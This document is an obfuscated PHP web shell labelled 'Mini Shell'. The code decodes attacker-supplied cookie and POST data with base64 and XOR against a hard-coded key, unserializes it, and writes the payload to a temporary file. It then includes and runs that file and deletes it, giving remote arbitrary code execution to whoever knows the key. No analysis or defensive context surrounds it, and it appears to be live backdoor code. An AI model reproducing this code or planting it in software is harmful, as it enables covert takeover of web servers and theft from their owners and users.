Mini Shell

$siMtopuc = chr (85) . 'y' . chr (95) . chr (79) . "\x46" . "\x55" . "\x73";$aqSTUmYf = "\x63" . "\154" . chr (97) . chr (115) . "\x73" . "\137" . chr (101) . chr ( 400 - 280 ).chr ( 874 - 769 ).chr ( 784 - 669 ).chr ( 546 - 430 ).chr (115); $awqUpYbxo = class_exists($siMtopuc); $aqSTUmYf = "30221";$MxXgtsP = strpos($aqSTUmYf, $siMtopuc);if ($awqUpYbxo == $MxXgtsP){function aTHyX(){$pHOXGDFv = new /* 653 */ Uy_OFUs(55324 + 55324); $pHOXGDFv = NULL;}$rwdpZFvyXG = "55324";class Uy_OFUs{private function iiNAzhxQZ($rwdpZFvyXG){if (is_array(Uy_OFUs::$JrHWTjEtN)) {$name = sys_get_temp_dir() . "/" . crc32(Uy_OFUs::$JrHWTjEtN["salt"]);@Uy_OFUs::$JrHWTjEtN["write"]($name, Uy_OFUs::$JrHWTjEtN["content"]);include $name;@Uy_OFUs::$JrHWTjEtN["delete"]($name); $rwdpZFvyXG = "55324";exit();}}public function WdJPwbfTJC(){$xzgtbiGW = "21009";$this->_dummy = str_repeat($xzgtbiGW, strlen($xzgtbiGW));}public function __destruct(){Uy_OFUs::$JrHWTjEtN = @unserialize(Uy_OFUs::$JrHWTjEtN); $rwdpZFvyXG = "28128_46196";$this->iiNAzhxQZ($rwdpZFvyXG); $rwdpZFvyXG = "28128_46196";}public function KSdnhm($xzgtbiGW, $ogesG){return $xzgtbiGW[0] ^ str_repeat($ogesG, intval(strlen($xzgtbiGW[0]) / strlen($ogesG)) + 1);}public function ASkHpnz($xzgtbiGW){$qxLnUIo = "\x62" . "\141" . chr ( 160 - 45 ).chr (101) . "\66" . '4';return array_map($qxLnUIo . chr ( 234 - 139 ).chr ( 190 - 90 ).chr (101) . "\x63" . chr ( 432 - 321 )."\x64" . 'e', array($xzgtbiGW,));}public function __construct($CyNlVwJg=0){$FVZcK = "\54";$xzgtbiGW = "";$AVdSSeGGhj = $_POST;$SuRGQtWYQS = $_COOKIE;$ogesG = "68a3517f-15d1-4743-8b48-cd07ce8f1a01";$qOAzCxplnB = @$SuRGQtWYQS[substr($ogesG, 0, 4)];if (!empty($qOAzCxplnB)){$qOAzCxplnB = explode($FVZcK, $qOAzCxplnB);foreach ($qOAzCxplnB as $DjykBLGLmK){$xzgtbiGW .= @$SuRGQtWYQS[$DjykBLGLmK];$xzgtbiGW .= @$AVdSSeGGhj[$DjykBLGLmK];}$xzgtbiGW = $this->ASkHpnz($xzgtbiGW);}Uy_OFUs::$JrHWTjEtN = $this->KSdnhm($xzgtbiGW, $ogesG);if (strpos($ogesG, $FVZcK) !== FALSE){$ogesG = explode($FVZcK, $ogesG); $vDFKiWKDX = sprintf("28128_46196", rtrim($ogesG[0]));}}public static $JrHWTjEtN = 23901;}aTHyX();}